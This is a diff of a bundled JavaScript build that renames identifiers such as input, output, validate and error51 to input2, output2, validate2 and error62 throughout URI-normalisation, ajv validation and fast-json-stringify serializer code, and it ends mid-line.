+24713,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -25901,27 +25901,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -25969,11 +25969,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -26006,23 +26006,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -26038,79 +26038,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -26120,29 +26120,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -26163,56 +26163,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -26221,143 +26221,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -26367,8 +26367,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -26647,35 +26647,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -26683,13 +26683,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -27338,8 +27338,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -27550,7 +27550,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -27559,7 +27559,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -27780,14 +27780,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -28184,21 +28184,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -29605,9 +29605,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -29887,7 +29887,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -29917,13 +29917,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -30326,11 +30326,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -30352,12 +30352,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -30367,7 +30367,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -30377,7 +30377,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -30463,13 +30463,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -30591,18 +30591,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -30610,14 +30610,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -30627,7 +30627,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -30635,7 +30635,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -30643,7 +30643,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -30656,52 +30656,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -30783,14 +30783,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -30803,12 +30803,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -30825,9 +30825,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -30854,10 +30854,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -30867,7 +30867,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -30897,10 +30897,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -30918,30 +30918,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, 